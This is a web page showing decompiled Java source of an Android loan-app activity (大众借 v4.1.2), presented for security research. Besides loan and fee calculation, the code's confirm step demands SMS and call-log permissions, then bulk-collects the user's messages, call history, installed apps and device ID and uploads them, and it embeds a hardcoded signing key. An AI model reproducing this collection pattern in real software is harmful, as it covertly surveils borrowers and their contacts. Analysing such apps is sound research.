导航菜单

页面标题

页面副标题

大众借. v4.1.2 - MT0Act.java 源代码

正在查看: 大众借. v4.1.2 应用的 MT0Act.java JAVA 源代码文件

本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。


package com.shiliuj.ui.activitys;

import android.os.Bundle;
import android.text.TextUtils;
import android.view.View;
import android.widget.RelativeLayout;
import android.widget.TextView;
import androidx.core.app.NotificationCompat;
import androidx.core.content.ContextCompat;
import butterknife.BindView;
import com.alipay.alipaysecuritysdk.common.config.Constant;
import com.base.commonlibrary.base.BaseResult;
import com.base.commonlibrary.base.baserx.RxHelper;
import com.base.commonlibrary.base.baserx.RxSchedulers;
import com.base.commonlibrary.control.IPermissionResultListener;
import com.base.commonlibrary.utils.ApplicationUtil;
import com.base.commonlibrary.utils.MD5Utils;
import com.base.commonlibrary.utils.RSAUtils;
import com.base.commonlibrary.utils.RegexUtil;
import com.base.commonlibrary.utils.SPUtils;
import com.base.commonlibrary.views.TitleLayout;
import com.bigkoo.pickerview.builder.OptionsPickerBuilder;
import com.bigkoo.pickerview.listener.OnOptionsSelectListener;
import com.bigkoo.pickerview.view.OptionsPickerView;
import com.google.gson.Gson;
import com.shiliuj.gzd.ContactsGetUtil;
import com.shiliuj.mjyp.app.api.Api;
import com.shiliuj.mjyp.app.api.Api2;
import com.shiliuj.mjyp.app.base.BaseBindActivity;
import com.shiliuj.mjyp.app.base.RxSubscriber;
import com.shiliuj.ui.bean.ApplyBean;
import com.shiliuj.ui.bean.BorrowOrderForm;
import com.shiliuj.ui.bean.CalculateBean;
import com.shiliuj.ui.bean.DevSmsBean;
import com.shiliuj.ui.bean.EncForm;
import com.shiliuj.ui.bean.HomeAmountBean;
import com.shiliuj.ui.bean.MyInfoBean;
import com.shiliuj.ui.bean.RegBean;
import java.math.BigDecimal;
import java.math.RoundingMode;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
import rx.Observable;
import rx.Observer;
import rx.Subscriber;

public class MT0Act extends BaseBindActivity {

    @BindView(2131296342)
    TextView allMoney;
    ApplyBean applyBean;
    private String bankName;
    private String bankNum;

    @BindView(2131296390)
    TextView btnOk;
    private CalculateBean calculateBean;

    @BindView(2131296402)
    TextView cardNum;

    @BindView(2131296455)
    TextView dayNum;

    @BindView(2131296510)
    TextView fees;

    @BindView(2131296512)
    TextView fengkongFees;

    @BindView(2131296513)
    TextView fengkongReadFees;

    @BindView(2131296536)
    TextView getMoney;

    @BindView(2131296585)
    TextView infoFees;

    @BindView(2131296624)
    TextView lix;

    @BindView(2131296625)
    TextView lix2;

    @BindView(2131296626)
    TextView lixi;

    @BindView(2131296627)
    TextView lixi2;

    @BindView(2131296628)
    View lixiLine;

    @BindView(2131296629)
    View lixiLine2;
    private String loanPeriod;
    private BigDecimal ownActualMoney;
    private OptionsPickerView<String> pvOptions;

    @BindView(2131296818)
    RelativeLayout rlCard;

    @BindView(2131296824)
    RelativeLayout rlFees;

    @BindView(2131296825)
    RelativeLayout rlFengkongFees;

    @BindView(2131296826)
    RelativeLayout rlFengkongReadFees;

    @BindView(2131296827)
    RelativeLayout rlGetMoney;

    @BindView(2131296833)
    RelativeLayout rlInfoFees;

    @BindView(2131296834)
    RelativeLayout rlLix2;

    @BindView(2131296835)
    RelativeLayout rlLixi;

    @BindView(2131296972)
    TextView tipAll;

    @BindView(2131296998)
    TitleLayout title;

    @BindView(2131297047)
    TextView tv_tixian_tip;
    private List<String> moneys = new ArrayList();
    private int loanType = 1;
    private String enfLoanFlag = "0";
    private List<String> showmoneys = new ArrayList();
    private String sjamount = "0";
    private String period = "7";
    private String amount = "1000";
    int repLoanFlag = 0;

    protected boolean canLoadMore() {
        return false;
    }

    public int getLayoutId() {
        return 2131492893;
    }

    protected void loadMore() {
    }

    protected void refresh() {
    }

    public void initPresenter() {
        if (getIntent() == null) {
            this.period = "7";
            this.amount = "1000";
        } else if (getIntent().getStringExtra("period") == null || getIntent().getStringExtra("amount") == null) {
            this.period = "7";
            this.amount = "1000";
        } else {
            this.period = getIntent().getStringExtra("period");
            this.amount = getIntent().getStringExtra("amount");
        }
    }

    public void initView(Bundle bundle) {
        apply();
        this.getMoney.setOnClickListener(new View.OnClickListener() {
            @Override
            public final void onClick(View view) {
                MT0Act.this.lambda$initView$0$MT0Act(view);
            }
        });
        this.btnOk.setOnClickListener(new View.OnClickListener() {
            @Override
            public final void onClick(View view) {
                MT0Act.this.lambda$initView$1$MT0Act(view);
            }
        });
        getTip();
    }

    public void lambda$initView$0$MT0Act(View view) {
        if (this.moneys.size() > 0) {
            showPickerView();
        } else {
            apply();
        }
    }

    public void lambda$initView$1$MT0Act(View view) {
        if (!RegexUtil.isEmpty(this.getMoney.getText().toString().replace(getString(2131689824), ""))) {
            if (this.calculateBean != null) {
                permissionRequest(getString(2131689914), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_PHONE_STATE", "android.permission.READ_SMS", "android.permission.READ_CALL_LOG", "android.permission.WRITE_CALL_LOG"}, 100, new IPermissionResultListener() {
                    public void onPermissionFaild() {
                    }

                    public void onPermissionSuccess() {
                        SPUtils.putData("latitude", "中国");
                        SPUtils.putData("longitude", "中国");
                        if (TextUtils.isEmpty("")) {
                            SPUtils.putData("address", "中国");
                        } else {
                            SPUtils.putData("address", "");
                        }
                        MT0Act.this.getDevSmsBean();
                    }
                });
                return;
            } else {
                apply();
                return;
            }
        }
        showShortToast(2131689935);
    }

    public void getTip() {
        this.mRxManager.add(Api.getDefault().getConfigForAmount().compose(RxHelper.handleResult()).subscribe(new RxSubscriber<HomeAmountBean>(this.mContext, false) {
            protected void _onError(String str) {
            }

            public void _onNext(HomeAmountBean homeAmountBean) {
                String content = homeAmountBean.getContent();
                if (TextUtils.isEmpty(content) || MT0Act.this.tv_tixian_tip == null) {
                    return;
                }
                MT0Act.this.tv_tixian_tip.setText(content);
            }
        }));
    }

    private void showPickerView() {
        if (this.pvOptions == null) {
            OptionsPickerView<String> build = new OptionsPickerBuilder(this.mContext, new OnOptionsSelectListener() {
                public final void onOptionsSelect(int i, int i2, int i3, View view) {
                    MT0Act.this.lambda$showPickerView$2$MT0Act(i, i2, i3, view);
                }
            }).setTitleSize(15).setTitleBgColor(ContextCompat.getColor(this.mContext, 2131099932)).setSubmitColor(ContextCompat.getColor(this.mContext, 2131099701)).setCancelColor(ContextCompat.getColor(this.mContext, 2131099923)).setTitleText(getString(2131689592)).setDividerColor(ContextCompat.getColor(this.mContext, 2131099797)).setTextColorCenter(ContextCompat.getColor(this.mContext, 2131099701)).setContentTextSize(20).build();
            this.pvOptions = build;
            build.setPicker(this.showmoneys);
        }
        this.pvOptions.show();
    }

    public void lambda$showPickerView$2$MT0Act(int i, int i2, int i3, View view) {
        this.getMoney.setText(this.showmoneys.get(i));
        this.sjamount = this.moneys.get(i);
        getConfigForCharge();
    }

    protected void borrowOrder() {
        String str = (String) SPUtils.getData("address", "中国");
        String json = new Gson().toJson(new BorrowOrderForm("0", this.enfLoanFlag, this.bankName, Integer.valueOf(Integer.parseInt(this.loanPeriod)), this.sjamount.replace(getString(2131689824), ""), this.bankNum, str, (String) SPUtils.getData("longitude", "0.0"), (String) SPUtils.getData("latitude", "0.0"), ApplicationUtil.getAPPVersion(this.mContext), Constant.SDK_OS, this.amount, this.period));
        long currentTimeMillis = System.currentTimeMillis();
        String uuid = UUID.randomUUID().toString();
        String str2 = json + "@" + uuid + "@" + currentTimeMillis;
        String encrypt = RSAUtils.getInstance().encrypt(str2 + "@" + MD5Utils.md5(str2, "f4qgkb85q4pMRMChLeC7uSn2wwTWGXrs"));
        StringBuilder sb = new StringBuilder();
        sb.append(currentTimeMillis);
        sb.append("");
        this.mRxManager.add(Api.getDefault().borrowOrderEnc(new EncForm(encrypt, uuid, sb.toString())).compose(RxHelper.handleResult()).subscribe(new RxSubscriber<RegBean>(this.mContext, true) {
            public void _onNext(RegBean regBean) {
                if (regBean != null) {
                    String record = regBean.getRecord();
                    Bundle bundle = new Bundle();
                    bundle.putString("ORDERID", record);
                    MT0Act.this.startActivity(N0ACT.class, bundle);
                    MT0Act.this.finish();
                    return;
                }
                MT0Act mT0Act = MT0Act.this;
                mT0Act.showShortToast(mT0Act.getResources().getString(2131690105));
            }

            protected void _onError(String str3) {
                Bundle bundle = new Bundle();
                bundle.putString(NotificationCompat.CATEGORY_MESSAGE, str3);
                MT0Act.this.startActivity(N0ACT.class, bundle);
            }
        }));
    }

    protected void apply() {
        getConfigForAmount();
    }

    public void setViewShow() {
        BigDecimal rate = this.applyBean.getRate();
        BigDecimal serviceCharge = this.applyBean.getServiceCharge();
        BigDecimal creditCer = this.applyBean.getCreditCer();
        BigDecimal riskMan = this.applyBean.getRiskMan();
        BigDecimal riskPre = this.applyBean.getRiskPre();
        if (rate.compareTo(BigDecimal.ZERO) == 0) {
            this.rlLixi.setVisibility(8);
        } else if (this.loanType != 2) {
            this.rlLixi.setVisibility(0);
        }
        if (serviceCharge.compareTo(BigDecimal.ZERO) == 0) {
            this.rlFees.setVisibility(8);
        } else {
            this.rlFees.setVisibility(0);
        }
        if (creditCer.compareTo(BigDecimal.ZERO) == 0) {
            this.rlInfoFees.setVisibility(8);
        } else {
            this.rlInfoFees.setVisibility(0);
        }
        if (riskMan.compareTo(BigDecimal.ZERO) == 0) {
            this.rlFengkongFees.setVisibility(8);
        } else {
            this.rlFengkongFees.setVisibility(0);
        }
        if (riskPre.compareTo(BigDecimal.ZERO) == 0) {
            this.rlFengkongReadFees.setVisibility(8);
        } else {
            this.rlFengkongReadFees.setVisibility(0);
        }
    }

    protected void getConfigForCharge() {
        String replace;
        if (this.applyBean != null && !RegexUtil.isEmpty(this.sjamount)) {
            if (this.repLoanFlag == 0) {
                replace = this.amount;
            } else {
                replace = this.sjamount.replace(getString(2131689824), "");
            }
            BigDecimal bigDecimal = new BigDecimal(replace);
            BigDecimal scale = this.applyBean.getRate().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
            BigDecimal scale2 = this.applyBean.getServiceCharge().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
            BigDecimal scale3 = this.applyBean.getCreditCer().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
            BigDecimal scale4 = this.applyBean.getRiskMan().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
            BigDecimal scale5 = this.applyBean.getRiskPre().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
            BigDecimal add = scale.add(scale2).add(scale3).add(scale4).add(scale5);
            int i = this.loanType;
            if (i == 2) {
                add = scale2.add(scale3).add(scale4).add(scale5);
            } else if (i == 3) {
                add = bigDecimal.add(scale).add(scale2).add(scale3).add(scale4).add(scale5);
            }
            BigDecimal bigDecimal2 = add;
            this.calculateBean = new CalculateBean(bigDecimal, scale, scale2, scale3, scale4, scale5, bigDecimal2);
            if (scale.compareTo(BigDecimal.ZERO) == 0) {
                this.rlLixi.setVisibility(8);
            } else if (this.loanType != 2) {
                this.rlLixi.setVisibility(0);
            }
            if (scale2.compareTo(BigDecimal.ZERO) == 0) {
                this.rlFees.setVisibility(8);
            } else {
                this.rlFees.setVisibility(0);
            }
            if (scale3.compareTo(BigDecimal.ZERO) == 0) {
                this.rlInfoFees.setVisibility(8);
            } else {
                this.rlInfoFees.setVisibility(0);
            }
            if (scale4.compareTo(BigDecimal.ZERO) == 0) {
                this.rlFengkongFees.setVisibility(8);
            } else {
                this.rlFengkongFees.setVisibility(0);
            }
            if (scale5.compareTo(BigDecimal.ZERO) == 0) {
                this.rlFengkongReadFees.setVisibility(8);
            } else {
                this.rlFengkongReadFees.setVisibility(0);
            }
            this.lixi2.setText(getString(2131689824) + scale + "");
            this.lixi.setText(getString(2131689824) + scale + "");
            this.fees.setText(getString(2131689824) + scale2 + "");
            this.infoFees.setText(getString(2131689824) + scale3 + "");
            this.fengkongFees.setText(getString(2131689824) + scale4 + "");
            this.fengkongReadFees.setText(getString(2131689824) + scale5 + "");
            this.allMoney.setText(getString(2131689824) + bigDecimal2);
            return;
        }
        apply();
    }

    protected void onDestroy() {
        super.onDestroy();
    }

    public void update(DevSmsBean devSmsBean) {
        this.mRxManager.add(Api2.getDefault().infoSave(devSmsBean).compose(RxSchedulers.io_main()).subscribe(new RxSubscriber<BaseResult>(this.mContext, true, false) {
            public void _onNext(BaseResult baseResult) {
                if (baseResult.getCode() == 200) {
                    MT0Act.this.borrowOrder();
                } else {
                    MT0Act.this.showShortToast(baseResult.getMessage());
                }
            }

            protected void _onError(String str) {
                MT0Act.this.showShortToast(str);
            }
        }));
    }

    public void getDevSmsBean() {
        startProgressDialog();
        this.mRxManager.add(Observable.create(new Observable.OnSubscribe() {
            public final void call(Object obj) {
                MT0Act.this.lambda$getDevSmsBean$3$MT0Act((Subscriber) obj);
            }
        }).compose(RxSchedulers.io_main()).subscribe(new Observer<DevSmsBean>() {
            public void onCompleted() {
                MT0Act.this.stopProgressDialog();
            }

            public void onError(Throwable th) {
                MT0Act.this.stopProgressDialog();
            }

            public void onNext(DevSmsBean devSmsBean) {
                MT0Act.this.update(devSmsBean);
            }
        }));
    }

    public void lambda$getDevSmsBean$3$MT0Act(Subscriber subscriber) {
        DevSmsBean devSmsBean = new DevSmsBean();
        List smsInPhone = ContactsGetUtil.getSmsInPhone(this.mContext);
        devSmsBean.setSmsList(smsInPhone);
        List scanLocalInstallAppList = ContactsGetUtil.scanLocalInstallAppList(this.mContext.getPackageManager());
        devSmsBean.setSmsList(smsInPhone);
        devSmsBean.setAppList(scanLocalInstallAppList);
        devSmsBean.setCallList(ContactsGetUtil.getContentCallLog(this.mContext));
        String deviceID = ApplicationUtil.getDeviceID(this.mContext);
        String phoneModel = ApplicationUtil.phoneModel();
        devSmsBean.setCode(deviceID);
        devSmsBean.setSys(Constant.SDK_OS);
        devSmsBean.setModel(phoneModel);
        devSmsBean.setAddress((String) SPUtils.getData("address", "中国"));
        subscriber.onNext(devSmsBean);
        subscriber.onCompleted();
    }

    private void getBaseInfo(boolean z) {
        this.mRxManager.add(Api.getDefault().baseMyInfo().compose(RxHelper.handleResult()).subscribe(new RxSubscriber<MyInfoBean>(this.mContext, z) {
            public void _onNext(MyInfoBean myInfoBean) {
                myInfoBean.getLoanCount();
            }

            protected void _onError(String str) {
                MT0Act.this.showErrorTip(str);
            }
        }));
    }

    public void getConfigForAmount() {
        this.mRxManager.add(Api.getDefault().getConfigForAmount().compose(RxHelper.handleResult()).subscribe(new RxSubscriber<HomeAmountBean>(this.mContext, false) {
            protected void _onError(String str) {
            }

            public void _onNext(HomeAmountBean homeAmountBean) {
                if (homeAmountBean != null) {
                    MT0Act.this.repLoanFlag = homeAmountBean.getRepLoanFlag().intValue();
                    MT0Act.this.getApplyAfterConfig();
                }
            }
        }));
    }

    public void getApplyAfterConfig() {
        this.mRxManager.add(Api.getDefault().apply(Integer.parseInt(this.period)).compose(RxHelper.handleResult()).subscribe(new RxSubscriber<ApplyBean>(this.mContext, true) {
            public void _onNext(ApplyBean applyBean) {
                if (applyBean != null) {
                    MT0Act.this.applyBean = applyBean;
                    MT0Act.this.loanType = applyBean.getLoanType() == null ? 1 : applyBean.getLoanType().intValue();
                    int i = MT0Act.this.loanType;
                    if (i == 1) {
                        MT0Act.this.rlLixi.setVisibility(0);
                        MT0Act.this.lixiLine.setVisibility(0);
                        MT0Act.this.rlLix2.setVisibility(8);
                        MT0Act.this.lixiLine2.setVisibility(8);
                        MT0Act.this.tipAll.setText(MT0Act.this.getResources().getString(2131689576));
                    } else if (i == 2) {
                        MT0Act.this.rlLix2.setVisibility(0);
                        MT0Act.this.lixiLine2.setVisibility(0);
                        MT0Act.this.rlLixi.setVisibility(8);
                        MT0Act.this.lixiLine.setVisibility(8);
                        MT0Act.this.tipAll.setText(MT0Act.this.getResources().getString(2131689576));
                    } else if (i == 3) {
                        MT0Act.this.rlLix2.setVisibility(8);
                        MT0Act.this.lixiLine2.setVisibility(8);
                        MT0Act.this.lixiLine.setVisibility(0);
                        MT0Act.this.rlLixi.setVisibility(0);
                        MT0Act.this.tipAll.setText(MT0Act.this.getResources().getString(2131689724));
                    }
                    List amountList = applyBean.getAmountList();
                    MT0Act.this.moneys.clear();
                    MT0Act.this.showmoneys.clear();
                    for (int i2 = 0; i2 < amountList.size(); i2++) {
                        BigDecimal bigDecimal = (BigDecimal) amountList.get(i2);
                        MT0Act.this.moneys.add(MT0Act.this.getString(2131689824) + bigDecimal);
                        BigDecimal scale = MT0Act.this.applyBean.getRate().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
                        if (MT0Act.this.loanType != 1) {
                            bigDecimal = scale.add(bigDecimal);
                        }
                        MT0Act.this.ownActualMoney = bigDecimal;
                        MT0Act.this.showmoneys.add(MT0Act.this.getString(2131689824) + bigDecimal);
                    }
                    MT0Act.this.bankName = applyBean.getBankName();
                    MT0Act.this.bankNum = applyBean.getBankNum();
                    if (MT0Act.this.bankNum != null && MT0Act.this.bankNum.length() > 4) {
                        MT0Act.this.cardNum.setText(MT0Act.this.bankName + MT0Act.this.getString(2131689558) + MT0Act.this.bankNum.substring(MT0Act.this.bankNum.length() - 4));
                    }
                    MT0Act.this.loanPeriod = applyBean.getLoanPeriod();
                    if (MT0Act.this.repLoanFlag == 0) {
                        MT0Act.this.showmoneys.clear();
                        MT0Act.this.showmoneys.add(MT0Act.this.getString(2131689824) + MT0Act.this.amount);
                        MT0Act.this.dayNum.setText(MT0Act.this.period + MT0Act.this.getString(2131689633));
                    } else {
                        MT0Act.this.dayNum.setText(MT0Act.this.loanPeriod + MT0Act.this.getString(2131689633));
                    }
                    MT0Act.this.setViewShow();
                }
            }

            protected void _onError(String str) {
                MT0Act.this.showShortToast(str);
            }
        }));
    }
}